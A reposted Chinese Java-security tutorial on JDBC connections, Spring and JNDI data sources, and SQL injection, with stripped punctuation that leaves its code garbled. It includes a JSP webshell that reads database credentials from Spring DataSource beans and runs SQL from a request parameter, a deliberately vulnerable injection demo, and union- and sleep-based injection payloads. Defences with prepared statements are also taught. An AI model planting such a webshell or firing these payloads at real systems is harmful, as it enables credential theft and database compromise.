软件园专业做网站网站建设提供资料表
web/
2025/10/2 15:20:11/
文章来源:
软件园专业做网站,网站建设提供资料表,wordpress嵌入淘宝商品,网站建设烟台给个关注#xff1f;宝儿#xff01; 给个关注#xff1f;宝儿#xff01; 给个关注#xff1f;宝儿#xff01; 1 JDBC基础
JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通…给个关注宝儿 给个关注宝儿 给个关注宝儿 1 JDBC基础
JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口(JDBC) 不同的数据库提供商必须实现JDBC定义的接口从而也就实现了对数据库的一系列操作。
2 JDBCConnection
2.1连接
Java通过java.sql.DriverManager来管理所有数据库的驱动注册所以如果想要建立数据库连接需要先在java.sql.DriverManager中注册对应的驱动类然后调用getConnection方法才能连接上数据库。
JDBC定义了一个叫 java.sql.Driver 的接口类负责实现对数据库的连接所有的数据库驱动包都必须实现这个接口才能完成数据库的连接、 **java.sql.DriverManager.getConnection(xx)**其实就是简介的调用了java.sql.Driver 类的connect 方法 实现数据库连接。 数据库连接成功会返回一个叫 java.sql.Connection 的数据库连接对象 一切对数据库的查询操作都依赖这个 Connection 对象
JDBC连接数据库的一般步骤
1 注册驱动Class.forName(数据库驱动的类名)
2 获取连接 DriverManager.getConnetion(xxx)JDBC连接数据库示例代码如下
String CLASS_NAME com.mysql.jdbc.Driver;
String URL jdbc:mysql://localhost:3306/mysql
String USERNAME root;
String PASSWORD root;Class.forName(CLASS_NAME);// 注册JDBC驱动类
Connection connection DriverManager.getConnection(URL, USERNAME, PASSWORD);2.2 数据库配置
传统的Web应用的数据库配置信息一般都是存放在WEB-INF目录下的*.properties、.yml、.xml中的,如果是Spring Boot项目的话一般都会存储在jar包中的src/main/resources/目录下。常见的存储数据库配置信息的文件路径如WEB-INF/applicationContext.xml、WEB-INF/hibernate.cfg.xml、WEB-INF/jdbc/jdbc.properties一般情况下使用find命令加关键字可以轻松的找出来如查找Mysql配置信息: find 路径 -type f |xargs grep “com.mysql.jdbc.Driver”。
为什么需要Class.forName? 很多人不理解为什么第一步必须是Class.forName(CLASS_NAME);// 注册JDBC驱动类因为他们永远不会跟进驱动包去一探究竟。 实际上这一步是利用了Java反射类加载机制往DriverManager中注册了驱动包 Class.forName(“com.mysql.jdbc.Driver”)实际上会触发类加载com.mysql.jdbc.Driver类将会被初始化所以static静态语句块中的代码也将会被执行所以看似毫无必要的Class.forName其实也是暗藏玄机的。如果反射某个类又不想初始化类方法有两种途径 1. 使用Class.forName(“xxxx”, false, loader)方法将第二个参数传入false。 2. ClassLoader.load(“xxxx”);
Class.forName可以省去吗 连接数据库就必须Class.forName(xxx)几乎已经成为了绝大部分人认为的既定事实而不可改变但是某些人会发现删除Class.forName一样可以连接数据库这又作何解释
实际上这里又利用了Java的一大特性:Java SPI(Service Provider Interface)因为DriverManager在初始化的时候会调用java.util.ServiceLoader类提供的SPI机制Java会自动扫描jar包中的META-INF/services目录下的文件并且还会自动的Class.forName(文件中定义的类)这也就解释了为什么不需要Class.forName也能够成功连接数据库的原因了。 Mysql驱动包示例:
2.3 JDBC数据库连接总结
使用JDBC连接数据相对于PHP直接使用mysql_connect/mysqli_connect函数就可以完成数据库连接来说的确难了很多但是其中也暗藏了很多Java的特性需要我们去深入理解。 或许您会有所疑问我们为什么非要搞明白Class.forName这个问题这个问题和Java安全有必然的联系吗其实这里只是想让大家明白Java反射、类加载机制、和SPI机制以及养成阅读JDK或者第三方库代码的习惯也希望不明白上述机制的朋友深入去理解思考下。 学习完本节后希望您能去思考如下问题 1. SPI机制是否有安全性问题 2. Java反射有那些安全问题 3. Java类加载机制是什么 4. 数据库连接时密码安全问题 5. 使用JDBC如何写一个通用的数据库密码爆破模块
3 Datasource 数据源
3.1. DataSource
在真实的Java项目中通常不会使用原生的JDBC的DriverManager去连接数据库而是使用数据源(javax.sql.DataSource)来代替DriverManager管理数据库的连接。一般情况下在Web服务启动时候会预先定义好数据源有了数据源程序就不再需要编写任何数据库连接相关的代码了直接引用DataSource对象即可获取数据库连接了。 常见的数据源有DBCP、C3P0、Druid、Mybatis DataSource他们都实现于javax.sql.DataSource接口。
3.2 Spring MVC 数据源
在Spring MVC中我们可以自由的选择第三方数据源通常我们会定义一个DataSource Bean用于配置和初始化数据源对象然后在Spring中就可以通过Bean注入的方式获取数据源对象了。
在基于XML配置的SpringMVC中配置数据源:
bean iddataSource classcom.alibaba.druid.pool.DruidDataSource init-methodinit destroy-methodcloseproperty nameurl value${jdbc.url}/property nameusername value${jdbc.username}/property namepassword value${jdbc.password}/..../如上我们定义了一个id为dataSource的Spring Bean对象username和password都使用了jdbc.XXX表示很明显{jdbc.XXX}表示很明显jdbc.XXX表示很明显{jdbc.username}并不是数据库的用户名这其实是采用了Spring的property-placeholder制定了一个properties文件使用${jdbc.username}其实会自动自定义的properties配置文件中的配置信息。
context:property-placeholder locationclasspath:/config/jdbc.properties/jdbc.properties内容
jdbc.drivercom.mysql.jdbc.Driver
jdbc.urljdbc:mysql://localhost:3306/mysql?autoReconnecttruezeroDateTimeBehaviorrounduseUnicodetruecharacterEncodingUTF-8useOldAliasMetadataBehaviortrueuseOldAliasMetadataBehaviortrueuseSSLfalse
jdbc.usernameroot
jdbc.passwordroot在Spring中我们只需要通过引用这个Bean就可以获取到数据源了比如在Spring JDBC中通过注入数据源(ref“dataSource”)就可以获取到上面定义的dataSource。
!-- jdbcTemplate Spring JDBC 模版 --
bean idjdbcTemplate classorg.springframework.jdbc.core.JdbcTemplate abstractfalse lazy-initfalseproperty namedataSource refdataSource/
/beanSpringBoot配置数据源 在SpringBoot中只需要在application.properties或application.yml中定义spring.datasource.xxx即可完成DataSource配置。
spring.datasource.urljdbc:mysql://localhost:3306/mysql?autoReconnecttruezeroDateTimeBehaviorrounduseUnicodetruecharacterEncodingUTF-8useOldAliasMetadataBehaviortrueuseOldAliasMetadataBehaviortrueuseSSLfalse
spring.datasource.usernameroot
spring.datasource.passwordroot
spring.datasource.typecom.alibaba.druid.pool.DruidDataSource
spring.datasource.driver-class-namecom.mysql.jdbc.DriverSpring 数据源Hack
我们通常可以通过查找Spring数据库配置信息找到数据库账号密码但是很多时候我们可能会找到非常多的配置项甚至是加密的配置信息这将会让我们非常的难以确定真实的数据库配置信息。某些时候在授权渗透测试的情况下我们可能会需要传个shell尝试性的连接下数据库(高危操作请勿违法!)证明下危害那么您可以在webshell中使用注入数据源的方式来获取数据库连接对象甚至是读取数据库密码(切记不要未经用户授权违规操作)。
spring-datasource.jsp获取数据源/执行SQL语句示例
% page contentTypetext/html;charsetUTF-8 languagejava %
% page importorg.springframework.context.ApplicationContext %
% page importorg.springframework.web.context.support.WebApplicationContextUtils %
% page importjavax.sql.DataSource %
% page importjava.sql.Connection %
% page importjava.sql.PreparedStatement %
% page importjava.sql.ResultSet %
% page importjava.sql.ResultSetMetaData %
% page importjava.util.List %
% page importjava.util.ArrayList %
% page importjava.lang.reflect.InvocationTargetException %
styleth, td {border: 1px solid #C1DAD7;font-size: 12px;padding: 6px;color: #4f6b72;}
/style
%!// C3PO数据源类private static final String C3P0_CLASS_NAME com.mchange.v2.c3p0.ComboPooledDataSource;// DBCP数据源类private static final String DBCP_CLASS_NAME org.apache.commons.dbcp.BasicDataSource;//Druid数据源类private static final String DRUID_CLASS_NAME com.alibaba.druid.pool.DruidDataSource;/*** 获取所有Spring管理的数据源* param ctx Spring上下文* return 数据源数组*/ListDataSource getDataSources(ApplicationContext ctx) {ListDataSource dataSourceList new ArrayListDataSource();String[] beanNames ctx.getBeanDefinitionNames();for (String beanName : beanNames) {Object object ctx.getBean(beanName);if (object instanceof DataSource) {dataSourceList.add((DataSource) object);}}return dataSourceList;}/*** 打印Spring的数据源配置信息,当前只支持DBCP/C3P0/Druid数据源类* param ctx Spring上下文对象* return 数据源配置字符串* throws ClassNotFoundException 数据源类未找到异常* throws NoSuchMethodException 反射调用时方法没找到异常* throws InvocationTargetException 反射调用异常* throws IllegalAccessException 反射调用时不正确的访问异常*/String printDataSourceConfig(ApplicationContext ctx) throws ClassNotFoundException,NoSuchMethodException, InvocationTargetException, IllegalAccessException {ListDataSource dataSourceList getDataSources(ctx);for (DataSource dataSource : dataSourceList) {String className dataSource.getClass().getName();String url null;String UserName null;String PassWord null;if (C3P0_CLASS_NAME.equals(className)) {Class clazz Class.forName(C3P0_CLASS_NAME);url (String) clazz.getMethod(getJdbcUrl).invoke(dataSource);UserName (String) clazz.getMethod(getUser).invoke(dataSource);PassWord (String) clazz.getMethod(getPassword).invoke(dataSource);} else if (DBCP_CLASS_NAME.equals(className)) {Class clazz Class.forName(DBCP_CLASS_NAME);url (String) clazz.getMethod(getUrl).invoke(dataSource);UserName (String) clazz.getMethod(getUsername).invoke(dataSource);PassWord (String) clazz.getMethod(getPassword).invoke(dataSource);} else if (DRUID_CLASS_NAME.equals(className)) {Class clazz Class.forName(DRUID_CLASS_NAME);url (String) clazz.getMethod(getUrl).invoke(dataSource);UserName (String) clazz.getMethod(getUsername).invoke(dataSource);PassWord (String) clazz.getMethod(getPassword).invoke(dataSource);}return URL: url br/UserName: UserName br/PassWord: PassWord br/;}return null;}
%
%String sql request.getParameter(sql);// 定义需要执行的SQL语句// 获取Spring的ApplicationContext对象ApplicationContext ctx WebApplicationContextUtils.getWebApplicationContext(pageContext.getServletContext());// 获取Spring中所有的数据源对象ListDataSource dataSourceList getDataSources(ctx);// 检查是否获取到了数据源if (dataSourceList null) {out.println(未找到任何数据源配置信息!);return;}out.println(hr/);out.println(Spring DataSource配置信息获取测试:);out.println(hr/);out.print(printDataSourceConfig(ctx));out.println(hr/);// 定义需要查询的SQL语句sql sql ! null ? sql : select version();for (DataSource dataSource : dataSourceList) {out.println(hr/);out.println(SQL语句:font colorred sql /font);out.println(hr/);//从数据源中获取数据库连接对象Connection connection dataSource.getConnection();// 创建预编译查询对象PreparedStatement pstt connection.prepareStatement(sql);// 执行查询并获取查询结果对象ResultSet rs pstt.executeQuery();out.println(tabletr);// 获取查询结果的元数据对象ResultSetMetaData metaData rs.getMetaData();// 从元数据中获取字段信息for (int i 1; i metaData.getColumnCount(); i) {out.println(th metaData.getColumnName(i) ( metaData.getColumnTypeName(i) )\t /th);}out.println(tr/);// 获取JDBC查询结果while (rs.next()) {out.println(tr);for (int i 1; i metaData.getColumnCount(); i) {out.println(td rs.getObject(metaData.getColumnName(i)) /td);}out.println(tr/);}rs.close();pstt.close();}
%读取数据源信息和执行SQL语句效果: 上面的代码不需要手动去配置文件中寻找任何信息就可以直接读取出数据库配置信息甚至是执行SQL语句其实是利用了Spring的ApplicationContext遍历了当前Web应用中Spring管理的所有的Bean然后找出所有DataSource的对象通过反射读取出C3P0、DBCP、Druid这三类数据源的数据库配置信息最后还利用了DataSource获取了Connection对象实现了数据库查询功能。
3.3 Java Web Server 数据源
除了第三方数据源库实现标准的Web容器自身也提供了数据源服务通常会在容器中配置DataSource信息并注册到JNDI(Java Naming and Directory Interface)中在Web应用中我们可以通过JNDI的接口lookup(定义的JNDI路径)来获取到DataSource对象。
Tomcat JNDI DataSource
Tomcat配置JNDI数据源需要手动修改Tomcat目录/conf/context.xml文件 参考 https://tomcat.apache.org/tomcat-8.0-doc/jndi-datasource-examples-howto.html
ContextResource namejdbc/test authContainer typejavax.sql.DataSourcemaxTotal100 maxIdle30 maxWaitMillis10000usernameroot passwordroot driverClassNamecom.mysql.jdbc.Driverurljdbc:mysql://localhost:3306/mysql//ContextResin JNDI DataSourceResin
需要修改resin.xml,添加database配置, 参考Resin Database configuration
在这里插入代码片database jndi-namejdbc/testdriver typecom.mysql.jdbc.Driverurljdbc:mysql://localhost:3306/mysql/urluserroot/userpasswordroot/password/driver
/database4 JDBC sql 注入
4.1 sql注入
SQL注入(SQL injection)是因为应用程序在执行SQL语句的时候没有正确的处理用户输入字符串将用户输入的恶意字符串拼接到了SQL语句中执行从而导致了SQL注入。
SQL注入是一种原理非常简单且危害程度极高的恶意攻击我们可以理解为不同程序语言的注入方式是一样的。
本章节只讨论基于JDBC查询的SQL注入暂不讨论基于ORM实现的框架注入也不会过多的讨论注入的深入用法、函数等。
4.2 sql注入示例
在SQL注入中如果需要我们手动闭合SQL语句的’的注入类型称为字符型注入、反之成为整型注入。字符型注入 假设程序想通过用户名查询用户个人信息那么它最终执行的SQL语句可能是这样:
select host,user from mysql.user where user 用户输入的用户名正常情况下用户只需传入自己的用户名如root程序会自动拼成一条完整的SQL语句
select host,user from mysql.user where user root查询结果如下:
mysql select host,user from mysql.user where user root;
-----------------
| host | user |
-----------------
| localhost | root |
-----------------
1 row in set (0.00 sec)但假设黑客传入了恶意的字符串:root’ and 12 union select 1,2去闭合SQL语句那么SQL语句的含义将会被改变
select host,user from mysql.user where user root and 12 union select 1,2查询结果如下:
mysql select host,user from mysql.user where user root and 12 union select 1,2;
------------
| host | user |
------------
| 1 | 2 |
------------
1 row in set (0.00 sec)Java代码片段如下:
// 获取用户传入的用户名
String user request.getParameter(user);// 定义最终执行的SQL语句这里会将用户从请求中传入的host字符串拼接到最终的SQL
// 语句当中从而导致了SQL注入漏洞。
String sql select host,user from mysql.user where user user ;// 创建预编译对象
PreparedStatement pstt connection.prepareStatement(sql);// 执行SQL语句并获取返回结果对象
ResultSet rs pstt.executeQuery();如上示例程序sql变量拼接了我们传入的用户名字符串并调用executeQuery方法执行了含有恶意攻击的SQL语句。我们只需要在用户传入的user参数中拼凑一个能够闭合SQL语句又不影响SQL语法的恶意字符串即可实现SQL注入攻击需要我们使用’(单引号)闭合的SQL注入漏洞我们通常叫做字符型SQL注入。
快速检测字符串类型注入方式 在渗透测试中我们判断字符型注入点最快速的方式就是在参数值中加’(单引号),如:http://localhost/1.jsp?id1’如果页面返回500错误或者出现异常的情况下我们通常可以初步判定该参数可能存在注入。
字符型注入测试
示例程序包含了一个存在字符型注入的Demo测试时请自行修改数据库账号密码user参数参数存在注入。
sql-injection.jsp
% page contentTypetext/html;charsetUTF-8 languagejava %
% page importjava.sql.* %
% page importjava.io.StringWriter %
% page importjava.io.PrintWriter %
styletable {border-collapse: collapse;}th, td {border: 1px solid #C1DAD7;font-size: 12px;padding: 6px;color: #4f6b72;}
/style
%!// 数据库驱动类名public static final String CLASS_NAME com.mysql.jdbc.Driver;// 数据库链接字符串public static final String URL jdbc:mysql://localhost:3306/mysql?autoReconnecttruezeroDateTimeBehaviorrounduseUnicodetruecharacterEncodingUTF-8useOldAliasMetadataBehaviortrueuseOldAliasMetadataBehaviortrueuseSSLfalse;// 数据库用户名public static final String USERNAME root;// 数据库密码public static final String PASSWORD root;Connection getConnection() throws SQLException, ClassNotFoundException {Class.forName(CLASS_NAME);// 注册JDBC驱动类return DriverManager.getConnection(URL, USERNAME, PASSWORD);}%
%String user request.getParameter(user);if (user ! null) {Connection connection null;try {// 建立数据库连接connection getConnection();// 定义最终执行的SQL语句这里会将用户从请求中传入的host字符串拼接到最终的SQL// 语句当中从而导致了SQL注入漏洞。
// String sql select host,user from mysql.user where user ? ;String sql select host,user from mysql.user where user user ;out.println(SQL: sql);out.println(hr/);// 创建预编译对象PreparedStatement pstt connection.prepareStatement(sql);
// pstt.setObject(1, user);// 执行SQL语句并获取返回结果对象ResultSet rs pstt.executeQuery();out.println(tabletr);out.println(th主机/th);out.println(th用户/th);out.println(tr/);// 输出SQL语句执行结果while (rs.next()) {out.println(tr);// 获取SQL语句中查询的字段值out.println(td rs.getObject(host) /td);out.println(td rs.getObject(user) /td);out.println(tr/);}out.println(/table);// 关闭查询结果rs.close();// 关闭预编译对象pstt.close();} catch (Exception e) {// 输出异常信息到浏览器StringWriter sw new StringWriter();e.printStackTrace(new PrintWriter(sw));out.println(sw);} finally {// 关闭数据库连接connection.close();}}
%正常请求查询用户名为root的用户信息测试: http://localhost:8080/sql-injection.jsp?userroot 提交含有’(单引号)的注入语句测试 http://localhost:8080/sql-injection.jsp?userroot’ 如果用户屏蔽了异常信息的显示我们就无法直接通过页面信息确认是否是注入但是我们可以通过后端响应的状态码来确定是否是注入点如果返回的状态码为500那么我们就可以初步的判定user参数存在注入了。
提交读取Mysql用户名和版本号注入语句测试
http://localhost:8080/sql-injection.jsp?userroot’ and 12 union select user(),version() --%20 这里使用了-- (–空格空格可以使用%20代替)来注释掉SQL语句后面的’(单引号)当然我们同样也可以使用#(井号URL传参的时候必须传URL编码后的值%23)注释掉’。
整型注入
假设我们执行的SQL语句是
select id, username, email from sys_user where id 用户ID查询结果如下:
mysql select id, username, email from sys_user where id 1;
---------------------------------
| id | username | email |
---------------------------------
| 1 | yzmm | adminjavaweb.org |
---------------------------------
1 row in set (0.01 sec)假设程序预期用户输入一个数字类型的参数作为查询条件且输入内容未经任何过滤直接就拼到了SQL语句当中那么也就产生了一种名为整型SQL注入的漏洞。 对应的程序代码片段
// 获取用户传入的用户IDString id request.getParameter(id);// 定义最终执行的SQL语句这里会将用户从请求中传入的host字符串拼接到最终的SQL// 语句当中从而导致了SQL注入漏洞。String sql select id, username, email from sys_user where id id;// 创建预编译对象PreparedStatement pstt connection.prepareStatement(sql);// 执行SQL语句并获取返回结果对象ResultSet rs pstt.executeQuery();
快速检测整型注入方式整型注入相比字符型更容易检测使用参数值添加’(单引号)的方式或者使用运算符、数据库子查询、睡眠函数(一定慎用如sleep)等。
检测方式示例
id2-1
id(2)
id(select 2 from dual)
id(select 2)盲注时不要直接使用sleep(n)例如: idsleep(3) 对应的SQL语句select username from sys_user where id sleep(3) 执行结果如下
mysql select username from sys_user where id sleep(3);
Empty set (24.29 sec)为什么只是sleep了3秒钟最终变成了24秒因为sleep语句执行了select count(1) from sys_user遍当前sys_user表因为有8条数据所以执行了8次。
如果非要使用sleep的方式可以使用子查询的方式代替
为什么只是sleep了3秒钟最终变成了24秒因为sleep语句执行了select count(1) from sys_user遍当前sys_user表因为有8条数据所以执行了8次。
如果非要使用sleep的方式可以使用子查询的方式代替
id2 union select 1, sleep(3)查询结果如下
mysql select username,email from sys_user where id1 union select 1, sleep(3);
-----------------------------
| username | email |
-----------------------------
| yzmm | adminjavaweb.org |
| 1 | 0 |
-----------------------------
2 rows in set (3.06 sec)4.3 sql注入防御
既然我们学会了如何提交恶意的注入语句那么我们到底应该如何去防御注入呢通常情况下我们可以使用以下方式来防御SQL注入攻击 1. 转义用户请求的参数值中的’(单引号)、(双引号)。 2. 限制用户传入的数据类型如预期传入的是数字那么使用:Integer.parseInt()/Long.parseLong等转换成整型。 3. 使用PreparedStatement对象提供的SQL语句预编译。
切记只过滤’(单引号)或(双引号)并不能有效的防止整型注入但是可以有效的防御字符型注入。解决注入的根本手段应该使用参数预编译的方式。
PreparedStatement SQL预编译查询
将上面存在注入的Java代码改为?(问号)占位的方式即可实现SQL预编译查询。 示例代码片段
// 获取用户传入的用户ID
String id request.getParameter(id);// 定义最终执行的SQL语句这里会将用户从请求中传入的host字符串拼接到最终的SQL
// 语句当中从而导致了SQL注入漏洞。
String sql select id, username, email from sys_user where id ? ;// 创建预编译对象
PreparedStatement pstt connection.prepareStatement(sql);// 设置预编译查询的第一个参数值
pstt.setObject(1, id);// 执行SQL语句并获取返回结果对象
ResultSet rs pstt.executeQuery();需要特别注意的是并不是使用PreparedStatement来执行SQL语句就没有注入漏洞而是将用户传入部分使用?(问号)占位符表示并使用PreparedStatement预编译SQL语句才能够防止注入
JDBC预编译
可能很多人都会有一个疑问JDBC中使用PreparedStatement对象的SQL语句究竟是如何实现预编译的接下来我们将会以Mysql驱动包为例深入学习JDBC预编译实现。
JDBC预编译查询分为客户端预编译和服务器端预编译对应的URL配置项是:useServerPrepStmts当useServerPrepStmts为false时使用客户端(驱动包内完成SQL转义)预编译useServerPrepStmts为true时使用数据库服务器端预编译。
数据库服务器端预编译 JDBC URL配置示例:
jdbc:mysql://localhost:3306/mysql?autoReconnecttruezeroDateTimeBehaviorrounduseUnicodetruecharacterEncodingUTF-8useOldAliasMetadataBehaviortrueuseOldAliasMetadataBehaviortrueuseSSLfalseuseServerPrepStmtstrue带码片段:
String sql select host,user from mysql.user where user ? ;PreparedStatement pstt connection.prepareStatement(sql);
pstt.setObject(1, user);使用JDBC的PreparedStatement查询数据包如下 客户端预编译JDBC URL配置示例:
jdbc:mysql://localhost:3306/mysql?autoReconnecttruezeroDateTimeBehaviorrounduseUnicodetruecharacterEncodingUTF-8useOldAliasMetadataBehaviortrueuseOldAliasMetadataBehaviortrueuseSSLfalseuseServerPrepStmtsfalse代码片段:
String sql select host,user from mysql.user where user ? ;PreparedStatement pstt connection.prepareStatement(sql);
pstt.setObject(1, user);使用JDBC的PreparedStatement查询数据包如下
预编译前的值为root’,预编译后的值为’root’和我们通过WireShark抓包的结果一致。
Mysql预编译
Mysql默认提供了预编译命令:prepare,使用prepare命令可以在Mysql数据库服务端实现预编译查询。
prepare查询示例
prepare stmt from select host,user from mysql.user where user ?;set usernameroot;execute stmt using username;查询结果如下
mysql prepare stmt from select host,user from mysql.user where user ?;
Query OK, 0 rows affected (0.00 sec)
Statement preparedmysql set usernameroot;
Query OK, 0 rows affected (0.00 sec)mysql execute stmt using username;
-----------------
| host | user |
-----------------
| localhost | root |
-----------------
1 row in set (0.00 sec)看完点赞关注不迷路!!! 后续继续更新优质安全内容!!!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/85680.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!